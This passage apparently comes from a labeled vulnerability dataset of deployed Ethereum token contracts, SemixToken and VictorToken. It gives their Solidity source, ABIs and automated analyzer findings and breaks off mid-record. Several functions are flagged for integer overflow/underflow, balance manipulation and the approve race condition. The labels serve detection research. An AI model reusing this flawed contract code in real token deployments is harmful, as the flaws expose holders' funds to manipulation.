:[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TMTTokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"WETH_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"active","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newSystemAddress","type":"address"}],"name":"addSystemAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_ethAmount","type":"uint256"}],"name":"calculateAmountsViaWeights","outputs":[{"internalType":"uint256[]","name":"res","type":"uint256[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"name":"calculateTokensForEther","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_values","type":"uint256[]"}],"name":"poolIn","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"bool","name":"_active","type":"bool"}],"name":"setPoolStatus","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"systemAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokens","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tokens","type":"address[]"},{"internalType":"uint256[]","name":"_weights","type":"uint256[]"}],"name":"updatePool","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"weights","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000004a87834e526d4c4c4ce8cbbb3a0999a3603d71a8000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000007544d54506f6f6c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007544d54506f6f6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f984000000000000000000000000ba100000625a3754423978a60c9317c58a424e3d000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003
Default
None
false
bzzr://4c2b1845034a92bd9489726d9d9be0b2729343219e4869c860a287d4b010216b
SemixToken
0x5815182a0e30aa0ecad298c34cd905e6a854e406
Solidity
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SemixToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 2; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function SemixToken() public { totalSupply = 10000000 * 1 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "Semix"; // Set the name for display purposes symbol = "SMX"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
[{"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["53"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["29", "127", "145", "79", "126", "144", "143", "50", "48", "46"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [9]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [107, 108, 109, 110, 111, 112, 113, 114, 115]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [128, 129, 130, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [3]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [77, 78, 79, 80, 81, 82]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [64, 65, 66]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SemixToken.sol": [140, 141, 142, 143, 144, 145, 146, 147, 148]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"SemixToken.sol": [64, 65, 66]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [77]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [124]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [3]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [92]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [64]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [77]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [77]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SemixToken.sol": [64]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SemixToken.sol": [29]}}]
[{"error": "Integer Underflow.", "line": 8, "level": "Warning"}, {"error": "Integer Underflow.", "line": 145, "level": "Warning"}, {"error": "Integer Underflow.", "line": 127, "level": "Warning"}, {"error": "Integer Underflow.", "line": 7, "level": "Warning"}, {"error": "Integer Overflow.", "line": 107, "level": "Warning"}]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 92, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 3, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 3, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_value","type":"uint256"}],"name":"burnFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"}]
v0.4.16+commit.d7661dd9
true
200
Default
false
bzzr://7f60943ce2e3fc0ac28855570ed647d91c1c49d0e298dbd2dd3789f7c0fc6c53
VictorToken
0xe98296ee3e814beb3c8fba1e29a8a4287acec769
Solidity
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract TokenDestructible is Ownable { constructor() public payable { } /** * @notice Terminate contract and refund to owner * @param _tokens List of addresses of ERC20 or ERC20Basic token contracts to refund. * @notice The called token contracts could try to re-enter this contract. Only supply token contracts you trust. */ function destroy(address[] _tokens) public onlyOwner { // Transfer tokens to owner for (uint256 i = 0; i < _tokens.length; i++) { ERC20Basic token = ERC20Basic(_tokens[i]); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } // Transfer Eth to owner and terminate contract selfdestruct(owner); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract IndividualLockableToken is PausableToken{ using SafeMath for uint256; event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time); event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time); struct lockState { uint256 locked_balance; uint256 release_time; } // default lock period uint256 public lock_period = 24 weeks; mapping(address => lockState) internal userLock; // Specify the time that a particular person's lock will be released function setReleaseTime(address _holder, uint256 _release_time) public onlyOwner returns (bool) { require(_holder != address(0)); require(_release_time >= block.timestamp); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = _release_time; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } // Returns the point at which token holder's lock is released function getReleaseTime(address _holder) public view returns (uint256) { require(_holder != address(0)); return userLock[_holder].release_time; } // Unlock a specific person. Free trading even with a lock balance function clearReleaseTime(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = 0; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } // Increase the lock balance of a specific person. // If you only want to increase the balance, the release_time must be specified in advance. function increaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(balances[_holder] >= _value); if (userLock[_holder].release_time == 0) { userLock[_holder].release_time = block.timestamp + lock_period; } userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } // Decrease the lock balance of a specific person. function decreaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(userLock[_holder].locked_balance >= _value); userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } // Clear the lock. function clearLock(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); userLock[_holder].locked_balance = 0; userLock[_holder].release_time = 0; emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } // Check the amount of the lock function getLockedBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return uint256(0); return userLock[_holder].locked_balance; } // Check your remaining balance function getFreeBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return balances[_holder]; return balances[_holder].sub(userLock[_holder].locked_balance); } // transfer overrride function transfer( address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.transfer(_to, _value); } // transferFrom overrride function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(_from) >= _value); return super.transferFrom(_from, _to, _value); } // approve overrride function approve( address _spender, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.approve(_spender, _value); } // increaseApproval overrride function increaseApproval( address _spender, uint _addedValue ) public returns (bool success) { require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue)); return super.increaseApproval(_spender, _addedValue); } // decreaseApproval overrride function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue < oldValue) { require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue)); } return super.decreaseApproval(_spender, _subtractedValue); } } contract VictorToken is IndividualLockableToken, TokenDestructible { using SafeMath for uint256; string public constant name = "VictorToken"; string public constant symbol = "VIC"; uint8 public constant decimals = 18; // 10,000,000,000 10 billion uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["160"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["546"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["798", "800", "454", "508"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["76", "87"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["546", "808"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["634", "654", "450"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [428]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"VictorToken.sol": [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"VictorToken.sol": [24, 25, 26, 27, 28, 29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [82, 83, 84, 85]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [132, 133, 134, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [480, 481, 482, 483, 484, 485, 486, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [173]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [160, 161, 162, 163, 164, 165, 166, 167, 168, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [512, 513, 514, 515, 516, 517, 518, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [91, 92, 93]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [140, 141, 142, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VictorToken.sol": [594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618]}}, {"check": 